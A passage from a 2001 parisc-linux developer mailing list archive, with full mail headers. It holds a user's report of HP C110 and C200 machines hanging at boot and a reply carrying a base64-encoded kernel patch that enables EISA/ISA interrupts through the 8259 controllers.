> do it myself.  The data sheet's linked to from the p-l.org documentation
> page.
I'am on it since aboput a week,
I might have a few questions soon though.


/Daniel
--



From - Thu Nov 08 21:20:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Herb Radford <herbr@magma.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Thanks and more questions
Date: Sat, 03 Nov 2001 16:24:20 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <3.0.5.32.20011103162420.007f1100@mail.magma.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620700 29068 80.91.229.3 (22 Nov 2014 01:45:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  3 14:24:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.istop.com (cpu1693.adsl.bellglobal.com [206.47.27.174])
	by dsl2.external.hp.com (Postfix) with ESMTP id A7FD6482B
	for <parisc-linux@lists.parisc-linux.org>; Sat,  3 Nov 2001 14:24:29 -0700 (MST)
Original-Received: from old@istop (herbr.istop.com [216.187.107.13])
	by ns.istop.com (Postfix) with SMTP id 191D917029
	for <parisc-linux@lists.parisc-linux.org>; Sat,  3 Nov 2001 16:24:55 -0500 (EST)
X-Sender: herbr@mail.magma.ca (Unverified)
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12881

Thanks to Richard Hirst, Nicholas Charles and Aubrey Griffin for the
fix(es) for the irritating console message.
More questions:
I have a C110 and a C200 sitting here and upon boot attempts (from the
0.9.2 CD), I don't get too far. 
a) On the C200 I have firmware version 5.0 and a A4553A graphics card.
I get the message:
Set default PSW W bit to 0

and nothing more! The heartbeat is on solid (not flashing) but no more
messages.

b) The C110 has an A4070A (I think) graphics card.
On the C110, things are much the same (except for a confused message about
the firmware (C110 firmware is 1.5 - I think) but the system resets after
the PSW message.

On both machines I installed narrow SCSI drives to avoid any funnies with
wide drives.

You guys are VERY quick, but I don't need that fast a response :)

Regards, Herb




From - Thu Nov 08 21:20:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Engstrom <5116@telia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA interrupts
Date: Sun, 4 Nov 2001 00:41:09 +0100
Lines: 208
Approved: news@gmane.org
Message-ID: <20011104004109.D2303@zaphod.halden.lillfab.se>
References: <20011103072429.B10563@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="AWniW0JNca5xppdA"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620701 29074 80.91.229.3 (22 Nov 2014 01:45:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:01 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  3 16:41:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from maild.telia.com (maild.telia.com [194.22.190.101])
	by dsl2.external.hp.com (Postfix) with ESMTP id 90516482B
	for <parisc-linux@parisc-linux.org>; Sat,  3 Nov 2001 16:41:17 -0700 (MST)
Original-Received: from d1o70.telia.com (d1o70.telia.com [62.20.148.241])
	by maild.telia.com (8.11.6/8.11.6) with ESMTP id fA3NfD519706;
	Sun, 4 Nov 2001 00:41:13 +0100 (CET)
Original-Received: from zaphod.halden.lillfab.se (t1o70p61.telia.com [62.20.148.61])
	by d1o70.telia.com (8.10.2/8.10.1) with ESMTP id fA3NfAf17575;
	Sun, 4 Nov 2001 00:41:10 +0100 (CET)
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id AAA10431;
	Sun, 4 Nov 2001 00:41:09 +0100
In-Reply-To: <20011103072429.B10563@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Sat, Nov 03, 2001 at 08:24:29 +0100
X-Mailer: Balsa 1.1.4
Original-Lines: 207
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12882

--AWniW0JNca5xppdA
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit


On 2001.11.03 08:24 Matthew Wilcox wrote:
> 
> To get ISA/EISA interrupts working, I think we're going to need to
> program the 82357 ISP chip properly.  

Here is the first version of my patch. It gives me interrupts to my ISA
NE2000 clone.

In order to use an ISA card you will have to specify the IRQ as edge triggerd 
on the kernel command line options  eisa_irq_edge. 
Use eisa_irq_edge=9,10 to set IRQ 9 and 10 to edge mode.

The trig-mode of the irq lines could be read from the EEPROM on the system
board but I have not yet fully understood its format, so I solved it with a 
commandline option for now.

/Daniel

-- 

--AWniW0JNca5xppdA
Content-Type: application/octet-stream; charset=us-ascii
Content-Disposition: attachment; filename="diff-eisa-011103.patch"
Content-Transfer-Encoding: base64

SW5kZXg6IGRyaXZlcnMvZ3NjL2Vpc2EuYwo9PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09ClJDUyBmaWxlOiAvdmFy
L2N2cy9saW51eC9kcml2ZXJzL2dzYy9laXNhLmMsdgpyZXRyaWV2aW5nIHJldmlzaW9uIDEu
NwpkaWZmIC11IC1wIC11IC1yMS43IGVpc2EuYwotLS0gZHJpdmVycy9nc2MvZWlzYS5jCTIw
MDEvMTAvMjMgMjE6MDI6NTQJMS43CisrKyBkcml2ZXJzL2dzYy9laXNhLmMJMjAwMS8xMS8w
MyAyMzoxMjo0MwpAQCAtMjcsNyArMjcsMTQgQEAKICNpbmNsdWRlIDxhc20vZ3NjLmg+CiAj
aW5jbHVkZSA8YXNtL2hhcmR3YXJlLmg+CiAjaW5jbHVkZSA8YXNtL3Byb2Nlc3Nvci5oPgor
I2luY2x1ZGUgPGFzbS9kZWxheS5oPgogCisjaWYgMAorI2RlZmluZSBFSVNBX0RCRyhtc2cs
IGFyZy4uLiApIHByaW50ayhLRVJOX0FMRVJUICJlaXNhOiAiIG1zZyAsICMjIGFyZyApCisj
ZWxzZQorI2RlZmluZSBFSVNBX0RCRyhtc2csIGFyZy4uLiApICAKKyNlbmRpZgorCiAvKiBX
ZSBjYW4gb25seSBoYXZlIG9uZSBFSVNBIGFkYXB0ZXIgaW4gdGhlIHN5c3RlbSBiZWNhdXNl
IG5laXRoZXIKICAqIGltcGxlbWVudGF0aW9uIGNhbiBiZSBmbGV4ZWQuCiAgKi8KQEAgLTM2
LDcgKzQzLDYgQEAgc3RydWN0IGVpc2FfYmEgewogfSBlaXNhX2RldjsKIAogLyogUG9ydCBv
cHMgKi8KLQogc3RhdGljIGlubGluZSB1bnNpZ25lZCBsb25nIGVpc2FfcGVybXV0ZSh1MTYg
cG9ydCkKIHsKIAlpZiAocG9ydCAmIDB4MzAwKSB7CkBAIC00OSw2MiArNTUsMTI2IEBAIHN0
YXRpYyBpbmxpbmUgdW5zaWduZWQgbG9uZyBlaXNhX3Blcm11dGUKIAogdTggZWlzYV9pbjgo
dTE2IHBvcnQpCiB7Ci0JaWYgKEVJU0FfYnVzKQotCQlyZXR1cm4gZ3NjX3JlYWRiKGVpc2Ff
cGVybXV0ZShwb3J0KSk7Ci0JcmV0dXJuIDB4ZmY7CisJcmV0dXJuIGdzY19yZWFkYihlaXNh
X3Blcm11dGUocG9ydCkpOwogfQogCiB1MTYgZWlzYV9pbjE2KHUxNiBwb3J0KQogewotCWlm
IChFSVNBX2J1cykKLQkJcmV0dXJuIGxlMTZfdG9fY3B1KGdzY19yZWFkdyhlaXNhX3Blcm11
dGUocG9ydCkpKTsKLQlyZXR1cm4gMHhmZmZmOworI2lmIDAKKwlyZXR1cm4gbGUxNl90b19j
cHUoZ3NjX3JlYWR3KGVpc2FfcGVybXV0ZShwb3J0KSkpOworI2Vsc2UKKwlyZXR1cm4gZ3Nj
X3JlYWR3KGVpc2FfcGVybXV0ZShwb3J0KSk7CisjZW5kaWYJCiB9CiAKIHUzMiBlaXNhX2lu
MzIodTE2IHBvcnQpCiB7Ci0JaWYgKEVJU0FfYnVzKQotCQlyZXR1cm4gbGUzMl90b19jcHUo
Z3NjX3JlYWRsKGVpc2FfcGVybXV0ZShwb3J0KSkpOwotCXJldHVybiAweGZmZmZmZmZmOwor
I2lmIDAKKwlyZXR1cm4gbGUzMl90b19jcHUoZ3NjX3JlYWRsKGVpc2FfcGVybXV0ZShwb3J0
KSkpOworI2Vsc2UKKwlyZXR1cm4gZ3NjX3JlYWRsKGVpc2FfcGVybXV0ZShwb3J0KSk7Cisj
ZW5kaWYKIH0KIAogdm9pZCBlaXNhX291dDgodTggZGF0YSwgdTE2IHBvcnQpCiB7Ci0JaWYg
KEVJU0FfYnVzKQotCQlnc2Nfd3JpdGViKGRhdGEsIGVpc2FfcGVybXV0ZShwb3J0KSk7CisJ
Z3NjX3dyaXRlYihkYXRhLCBlaXNhX3Blcm11dGUocG9ydCkpOwogfQogCiB2b2lkIGVpc2Ff
b3V0MTYodTE2IGRhdGEsIHUxNiBwb3J0KQogewotCWlmIChFSVNBX2J1cykKLQkJZ3NjX3dy
aXRldyhjcHVfdG9fbGUxNihkYXRhKSwgZWlzYV9wZXJtdXRlKHBvcnQpKTsKKyNpZiAwCisJ
Z3NjX3dyaXRldyhjcHVfdG9fbGUxNihkYXRhKSwgZWlzYV9wZXJtdXRlKHBvcnQpKTsKKyNl
bHNlCisJZ3NjX3dyaXRldyhkYXRhLCBlaXNhX3Blcm11dGUocG9ydCkpOworI2VuZGlmCiB9
CiAKIHZvaWQgZWlzYV9vdXQzMih1MzIgZGF0YSwgdTE2IHBvcnQpCiB7Ci0JaWYgKEVJU0Ff
YnVzKQotCQlnc2Nfd3JpdGVsKGNwdV90b19sZTMyKGRhdGEpLCBlaXNhX3Blcm11dGUocG9y
dCkpOworI2lmIDAKKwlnc2Nfd3JpdGVsKGNwdV90b19sZTMyKGRhdGEpLCBlaXNhX3Blcm11
dGUocG9ydCkpOworI2Vsc2UKKwlnc2Nfd3JpdGVsKGRhdGEsIGVpc2FfcGVybXV0ZShwb3J0
KSk7CisjZW5kaWYKIH0KIAogLyogSW50ZXJydXB0IGhhbmRsaW5nICovCiAKKy8qIGNhY2hl
ZCBpbnRlcnJ1cHQgbWFzayByZWdpc3RlcnMgKi8KK3N0YXRpYyBpbnQgbWFzdGVyX21hc2s7
CitzdGF0aWMgaW50IHNsYXZlX21hc2s7CisKKy8qIHRoZSB0cmlnIGxldmVsIGNhbiBiZSBz
ZXQgd2l0aCB0aGUKKyAqIGVpc2FfaXJxX2VkZ2U9bixuLG4gY29tbWFubG5pbmUgcGFyYW1l
dGVyIAorICogV2Ugc2hvdWxkIHJlYWxseSByZWFkIHRoaXMgZnJvbSB0aGUgRUVQUk9NIAor
ICogaW4gdGhlIGZ1cnVyZS4gCisgKi8KKy8qIGlycSAxMyw4LDIsMSwwIG11c3QgYmUgZWRn
ZSAqLworc3RhdGljIHVuc2lnbmVkIGludCBlaXNhX2lycV9sZXZlbD0weGRlZjg7IC8qIHRo
ZXNlIGFyZSB0byBiZSBsZXZlbC10cmlnZ2VkICovCisKKworLyogY2FsbGVkIGJ5IGZyZWUg
aXJxICovCiBzdGF0aWMgdm9pZCBlaXNhX2Rpc2FibGVfaXJxKHZvaWQgKmlycV9kZXYsIGlu
dCBpcnEpCiB7CisgICAgICAgIEVJU0FfREJHKCJkaXNhYmxlIGlycSAlZFxuIiwgaXJxKTsK
KyAgICAgICAgLyoganVzdCBtYXNrIGZvciBub3cgKi8KKyAgICAgICAgaWYgKGlycSAmIDgp
IHsKKwkJc2xhdmVfbWFzayB8PSAoMSA8PCAoaXJxJjcpKTsKKwkJZWlzYV9vdXQ4KHNsYXZl
X21hc2ssIDB4YTEpOworCX0gZWxzZSB7CisJCW1hc3Rlcl9tYXNrIHw9ICgxIDw8IChpcnEm
NykpOworCQllaXNhX291dDgobWFzdGVyX21hc2ssIDB4MjEpOworCX0KKyAgICAgICAgRUlT
QV9EQkcoInBpYzAgbWFzayAlMDJ4XG4iLCBlaXNhX2luOCgweDIxKSk7CisgICAgICAgIEVJ
U0FfREJHKCJwaWMxIG1hc2sgJTAyeFxuIiwgZWlzYV9pbjgoMHhhMSkpOwogCXJldHVybjsK
IH0KIAorLyogY2FsbGVkIGJ5IHJlcXVlc3QgaXJxICovCiBzdGF0aWMgdm9pZCBlaXNhX2Vu
YWJsZV9pcnEodm9pZCAqaXJxX2RldiwgaW50IGlycSkKIHsKKyAgICAgICAgRUlTQV9EQkco
ImVuYWJsZSBpcnEgJWRcbiIsIGlycSk7CisgICAgICAgIGlmIChpcnEgJiA4KSB7CisJCXNs
YXZlX21hc2sgJj0gfigxIDw8IChpcnEmNykpOworCQllaXNhX291dDgoc2xhdmVfbWFzaywg
MHhhMSk7CisJfSBlbHNlIHsKKwkJbWFzdGVyX21hc2sgJj0gfigxIDw8IChpcnEmNykpOwor
CQllaXNhX291dDgobWFzdGVyX21hc2ssIDB4MjEpOworCX0KKyAgICAgICAgRUlTQV9EQkco
InBpYzAgbWFzayAlMDJ4XG4iLCBlaXNhX2luOCgweDIxKSk7CisgICAgICAgIEVJU0FfREJH
KCJwaWMxIG1hc2sgJTAyeFxuIiwgZWlzYV9pbjgoMHhhMSkpOworCiAJcmV0dXJuOwogfQog
CiBzdGF0aWMgdm9pZCBlaXNhX21hc2tfaXJxKHZvaWQgKmlycV9kZXYsIGludCBpcnEpCiB7
CisgICAgICAgIEVJU0FfREJHKCJtYXNrIGlycSAlZFxuIiwgaXJxKTsKKyAgICAgICAgLyog
bWFzayBpcnEgKi8KKyAgICAgICAgaWYgKGlycSAmIDgpIHsKKwkJc2xhdmVfbWFzayB8PSAo
MSA8PCAoaXJxJjcpKTsKKwkJZWlzYV9vdXQ4KHNsYXZlX21hc2ssIDB4YTEpOworCQkKKwl9
IGVsc2UgeworCQltYXN0ZXJfbWFzayB8PSAoMSA8PCAoaXJxJjcpKTsKKwkJZWlzYV9vdXQ4
KG1hc3Rlcl9tYXNrLCAweDIxKTsKKwl9CisJCiAJcmV0dXJuOwogfQogCiBzdGF0aWMgdm9p
ZCBlaXNhX3VubWFza19pcnEodm9pZCAqaXJxX2RldiwgaW50IGlycSkKIHsKKyAgICAgICAg
RUlTQV9EQkcoInVubWFzayBpcnEgJWRcbiIsIGlycSk7CisgICAgICAgIC8qIHVubWFzayAq
LworICAgICAgICBpZiAoaXJxICYgOCkgeworCQlzbGF2ZV9tYXNrICY9IH4oMSA8PCAoaXJx
JjcpKTsKKwkJZWlzYV9vdXQ4KHNsYXZlX21hc2ssIDB4YTEpOworCX0gZWxzZSB7CisJCW1h
c3Rlcl9tYXNrICY9IH4oMSA8PCAoaXJxJjcpKTsKKwkJZWlzYV9vdXQ4KG1hc3Rlcl9tYXNr
LCAweDIxKTsKKwl9CiAJcmV0dXJuOwogfQogCkBAIC0xMjEsOSArMTkxLDg5IEBAIHN0YXRp
YyBzdHJ1Y3QgaXJxX3JlZ2lvbiBlaXNhX2lycV9yZWdpb24KIHN0YXRpYyB2b2lkIGVpc2Ff
aXJxKGludCBfLCB2b2lkICppbnRyX2Rldiwgc3RydWN0IHB0X3JlZ3MgKnJlZ3MpCiB7CiAJ
ZXh0ZXJuIHZvaWQgZG9faXJxKHN0cnVjdCBpcnFhY3Rpb24gKmEsIGludCBpLCBzdHJ1Y3Qg
cHRfcmVncyAqcCk7Ci0JaW50IGlycSA9IGdzY19yZWFkYigweGZjMDFmMDAwKSAmIDB4Zjsg
LyogRUlTQSBzdXBwb3J0cyAxNiBpcnFzICovCisJaW50IGlycSA9IGdzY19yZWFkYigweGZj
MDFmMDAwKTsgLyogRUlTQSBzdXBwb3J0cyAxNiBpcnFzICovCisgICAgICAgIAorICAgICAg
ICAvKiByZWFkIElSUiBjb21tYW5kICovCisgICAgICAgIGVpc2Ffb3V0OCgweDBhLCAweDIw
KTsKKyAgICAgICAgZWlzYV9vdXQ4KDB4MGEsIDB4YTApOworCQorICAgICAgICBFSVNBX0RC
RygiaXJxIElBUiAlMDJ4IDgyNTktMSBpcnIgJTAyeCA4MjU5LTIgaXJyICUwMnhcbiIsCisJ
CSBpcnEsIGVpc2FfaW44KDB4MjApLCBlaXNhX2luOCgweGEwKSk7CisgICAKKyAgICAgICAg
LyogcmVhZCBJU1IgY29tbWFuZCAqLworICAgICAgICBlaXNhX291dDgoMHgwYSwgMHgyMCk7
CisgICAgICAgIGVpc2Ffb3V0OCgweDBhLCAweGEwKTsKKyAgICAgICAgRUlTQV9EQkcoImly
cSA4MjU5LTEgaXNyICUwMnggaW1yICUwMnggODI1OS0yIGlzciAlMDJ4IGltciAlMDJ4XG4i
LAorCQkgZWlzYV9pbjgoMHgyMCksIGVpc2FfaW44KDB4MjEpLCBlaXNhX2luOCgweGEwKSwg
ZWlzYV9pbjgoMHhhMSkpOworCQorICAgICAgICBpcnEgJj0gMHhmOworICAgICAgICAKKyAg
ICAgICAgLyogbWFzayBpcnEgYW5kIHdyaXRlIGVvaSAqLworICAgICAgICBpZiAoaXJxICYg
OCkgeworCQlzbGF2ZV9tYXNrIHw9ICgxIDw8IChpcnEmNykpOworCQllaXNhX291dDgoc2xh
dmVfbWFzaywgMHhhMSk7CisJCWVpc2Ffb3V0OCgweDYwIHwgKGlycSY3KSwweGEwKTsvKiAn
U3BlY2lmaWMgRU9JJyB0byBzbGF2ZSAqLworCQllaXNhX291dDgoMHg2MiwweDIwKTsJLyog
J1NwZWNpZmljIEVPSScgdG8gbWFzdGVyLUlSUTIgKi8KKwkJCisJfSBlbHNlIHsKKwkJbWFz
dGVyX21hc2sgfD0gKDEgPDwgKGlycSY3KSk7CisJCWVpc2Ffb3V0OChtYXN0ZXJfbWFzaywg
MHgyMSk7CisJCWVpc2Ffb3V0OCgweDYwfGlycSwweDIwKTsJLyogJ1NwZWNpZmljIEVPSScg
dG8gbWFzdGVyICovCisJfQogCi0JZG9faXJxKCZlaXNhX2lycV9yZWdpb24uYWN0aW9uW2ly
cV0sIEVJU0FfSVJRX1JFR0lPTiArIGlycSwgcmVncyk7CisgICAKKyAJZG9faXJxKCZlaXNh
X2lycV9yZWdpb24uYWN0aW9uW2lycV0sIEVJU0FfSVJRX1JFR0lPTiArIGlycSwgcmVncyk7
CisgICAKKyAgICAgICAgLyogdW5tYXNrICovCisgICAgICAgIGlmIChpcnEgJiA4KSB7CisJ
CXNsYXZlX21hc2sgJj0gfigxIDw8IChpcnEmNykpOworCQllaXNhX291dDgoc2xhdmVfbWFz
aywgMHhhMSk7CisJfSBlbHNlIHsKKwkJbWFzdGVyX21hc2sgJj0gfigxIDw8IChpcnEmNykp
OworCQllaXNhX291dDgobWFzdGVyX21hc2ssIDB4MjEpOworCX0KKworfQorCit2b2lkIGlu
aXRfZWlzYV9waWModm9pZCkKK3sKKyAgICAgICAgZWlzYV9vdXQ4KDB4ZmYsIDB4MjEpOyAv
KiBtYXNrIGR1cmluZyBpbml0ICovCisgICAgICAgIGVpc2Ffb3V0OCgweGZmLCAweGExKTsg
LyogbWFzayBkdXJpbmcgaW5pdCAqLworCQorICAgICAgICAvKiBtYXN0ZXIgcGljICovCisg
ICAgICAgIGVpc2Ffb3V0OCgweDExLDB4MjApOyAvKiBJQ1cxICovICAgCisgICAgICAgIGVp
c2Ffb3V0OCgweDAwLDB4MjEpOyAvKiBJQ1cyICovICAgCisgICAgICAgIGVpc2Ffb3V0OCgw
eDA0LDB4MjEpOyAvKiBJQ1czICovICAgCisgICAgICAgIGVpc2Ffb3V0OCgweDAxLDB4MjEp
OyAvKiBJQ1c0ICovICAgCisgICAgICAgIGVpc2Ffb3V0OCgweDQwLDB4MjApOyAvKiBPQ1cy
ICovICAgCisJCisgICAgICAgIC8qIHNsYXZlIHBpYyAqLworICAgICAgICBlaXNhX291dDgo
MHgxMSwweGEwKTsgLyogSUNXMSAqLyAgIAorICAgICAgICBlaXNhX291dDgoMHgwOCwweGEx
KTsgLyogSUNXMiAqLyAgIAorICAgICAgICBlaXNhX291dDgoMHgwMiwweGExKTsgLyogSUNX
MyAqLyAgIAorICAgICAgICBlaXNhX291dDgoMHgwMSwweGExKTsgLyogSUNXNCAqLyAgIAor
ICAgICAgICBlaXNhX291dDgoMHg0MCwweGEwKTsgLyogT0NXMiAqLyAgIAorICAgICAgICAK
Kwl1ZGVsYXkoMTAwKTsKKwkKKyAgICAgICAgc2xhdmVfbWFzayA9IDB4ZmY7IAorICAgICAg
ICBtYXN0ZXJfbWFzayA9IDB4ZmI7IAorICAgICAgICBlaXNhX291dDgoc2xhdmVfbWFzaywg
MHhhMSk7IC8qIE9DVzEgKi8KKyAgICAgICAgZWlzYV9vdXQ4KG1hc3Rlcl9tYXNrLCAweDIx
KTsgLyogT0NXMSAqLworCQorICAgICAgICAvKiBzZXR1cCB0cmlnIGxldmVsICovCisgICAg
ICAgIEVJU0FfREJHKCJFSVNBIGVkZ2UvbGV2ZWwgJTA0eFxuIiwgZWlzYV9pcnFfbGV2ZWwp
OworI2lmIDEKKyAgICAgICAgZWlzYV9vdXQ4KGVpc2FfaXJxX2xldmVsJjB4ZmYsIDB4NGQw
KTsgLyogU2V0IGFsbCBpcnEncyB0byBlZGdlICAqLworICAgICAgICBlaXNhX291dDgoKGVp
c2FfaXJxX2xldmVsID4+IDgpICYgMHhmZiwgMHg0ZDEpOyAKKyNlbHNlIAorICAgICAgICBl
aXNhX291dDgoMCwgMHg0ZDApOyAvKiBTZXQgYWxsIGlycSdzIHRvIGVkZ2UgICovCisgICAg
ICAgIGVpc2Ffb3V0OCgwLCAweDRkMSk7IAorI2VuZGlmICAgCisgICAgICAgIEVJU0FfREJH
KCJwaWMwIG1hc2sgJTAyeFxuIiwgZWlzYV9pbjgoMHgyMSkpOworICAgICAgICBFSVNBX0RC
RygicGljMSBtYXNrICUwMnhcbiIsIGVpc2FfaW44KDB4YTEpKTsKKyAgICAgICAgRUlTQV9E
QkcoInBpYzAgZWRnZS9sZXZlbCAlMDJ4XG4iLCBlaXNhX2luOCgweDRkMCkpOworICAgICAg
ICBFSVNBX0RCRygicGljMSBlZGdlL2xldmVsICUwMnhcbiIsIGVpc2FfaW44KDB4NGQxKSk7
CiB9CiAKIC8qIERldmljZSBpbml0aWFsaXNhdGlvbiAqLwpAQCAtMTM1LDcgKzI4NSwxNCBA
QCBzdGF0aWMgaW50IF9fZGV2aW5pdCBlaXNhX3Byb2JlKHN0cnVjdCBwCiAJaW50IHJlc3Vs
dCwgaXJxOwogCWNoYXIgKm5hbWUgPSBpc19tb25nb29zZShkZXYpID8gIk1vbmdvb3NlIiA6
ICJXYXgiOwogCi0JcHJpbnRrKCIlcyBFSVNBIEFkYXB0ZXIgZm91bmQgYXQgMHglMDhseFxu
IiwgbmFtZSwgZGV2LT5ocGEpOworCXByaW50ayhLRVJOX05PVElDRSAiJXMgRUlTQSBBZGFw
dGVyIGZvdW5kIGF0IDB4JTA4bHhcbiIsIAorCSAgICAgICBuYW1lLCBkZXYtPmhwYSk7Cisg
ICAKKyAgICAgICAgaWYgKGRldi0+aHBhICE9IDB4ZmMwMDAwMDApIHsKKyAgICAJICAgICAg
ICBwcmludGsoS0VSTl9FUlIgIiVzIEhQQSBpcyBub3QgYXQgMHhmYzAwMDAwMCwgYWJvcnRp
bmdcbiIsCisJICAgICAgIAkgICAgICAgbmFtZSk7CisJCXJldHVybiAtRU5PREVWOwkgICAK
Kwl9CiAKIAllaXNhX2Rldi5oYmEubG1taW9fc3BhY2UubmFtZSA9ICJFSVNBIjsKIAllaXNh
X2Rldi5oYmEubG1taW9fc3BhY2Uuc3RhcnQgPSAodW5zaWduZWQgbG9uZykgMHhmZmZmZmZm
ZmZjMDAwMDAwOwpAQCAtMTU3LDIyICszMTQsMjMgQEAgc3RhdGljIGludCBfX2RldmluaXQg
ZWlzYV9wcm9iZShzdHJ1Y3QgcAogCX0KIAlwY2liaW9zX3JlZ2lzdGVyX2hiYSgmZWlzYV9k
ZXYuaGJhKTsKIAorICAgICAgICBpbml0X2Vpc2FfcGljKCk7CiAJaXJxID0gYnVzZGV2aWNl
X2FsbG9jX2lycShkZXYpOwogCWlmICghaXJxKSB7CiAJCXByaW50ayhLRVJOX0VSUiAiRUlT
QTogZmFpbGVkIHRvIGNsYWltIElSUVxuIik7CiAJCXJldHVybiAtRU5PREVWOwogCX0KIAot
CXJlc3VsdCA9IHJlcXVlc3RfaXJxKGlycSwgZWlzYV9pcnEsIDAsICJFSVNBIiwgTlVMTCk7
CisJcmVzdWx0ID0gcmVxdWVzdF9pcnEoaXJxLCBlaXNhX2lycSwgU0FfU0hJUlEsICJFSVNB
IiwgTlVMTCk7CiAJaWYgKHJlc3VsdCkgewogCQlwcmludGsoS0VSTl9FUlIgIkVJU0E6IHJl
cXVlc3RfaXJxIGZhaWxlZCFcbiIpOwogCQlyZXR1cm4gcmVzdWx0OwogCX0KIAlpcnFfcmVn
aW9uWzBdID0gJmVpc2FfaXJxX3JlZ2lvbjsKLQorCQogCUVJU0FfYnVzID0gMTsKLQotCXJl
dHVybiAwOworICAgCisgICAgICAgIHJldHVybiAwOwogfQogCiBzdGF0aWMgc3RydWN0IHBh
cmlzY19kZXZpY2VfaWQgX19kZXZpbml0ZGF0YSBlaXNhX3RibFtdID0gewpAQCAtMTkzLDMg
KzM1MSwzNSBAQCB2b2lkIF9faW5pdCBlaXNhX2luaXQodm9pZCkKIHsKIAlyZWdpc3Rlcl9w
YXJpc2NfZHJpdmVyKCZlaXNhX2RyaXZlcik7CiB9CisKKworc3RhdGljIGludCBlaXNhX2ly
cV9zZXR1cChjaGFyICpzdHIpCit7CisJY2hhciAqY3VyID0gc3RyOworCWludCB2YWw7CisK
KwlFSVNBX0RCRygiSVJRIHNldHVwXG4iKTsKKwl3aGlsZSAoY3VyICE9IE5VTEwpIHsKKwkJ
Y2hhciAqcGU7CisJCQorCQl2YWwgPSAoaW50KSBzaW1wbGVfc3RydG91bChjdXIsICZwZSwg
MCk7CisJCWlmICh2YWwgPiAxNSB8fCB2YWwgPCAwKSB7CisJCQlwcmludGsoS0VSTl9FUlIg
ImVpc2E6IEVJU0EgaXJxIHZhbHVlIGFyZSAwLTE1XG4iKTsKKwkJCWNvbnRpbnVlOworCQl9
CisJCWlmICh2YWwgPT0gMikgeyAKKwkJCXZhbCA9IDk7CisJCX0KKwkJZWlzYV9pcnFfbGV2
ZWwgJj0gfigxPDx2YWwpOyAvKiBjbGVhciB0aGUgY29ycmVzcG9uZGluZyBiaXQgKi8KKwkJ
RUlTQV9EQkcoInNldHRpbmcgSVJRICVkIHRvIGVkZ2UtdGlnZ2VkIG1vZGVcbiIsIHZhbCk7
CisJCQorCQlpZiAoY3VyID0gc3RyY2hyKGN1ciwgJywnKSkgeworCQkJY3VyKys7CisJCX0g
ZWxzZSB7CisJCQlicmVhazsKKwkJfQorCX0KKwlyZXR1cm4gMTsKK30KKworX19zZXR1cCgi
ZWlzYV9pcnFfZWRnZT0iLCBlaXNhX2lycV9zZXR1cCk7Cj09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KUkNTIGZp
bGU6IC92YXIvY3ZzL2xpbnV4L2luY2x1ZGUvYXNtLXBhcmlzYy9pcnEuaCx2CnJldHJpZXZp
bmcgcmV2aXNpb24gMS4xNApkaWZmIC11IC1wIC11IC1yMS4xNCBpcnEuaAotLS0gaW5jbHVk
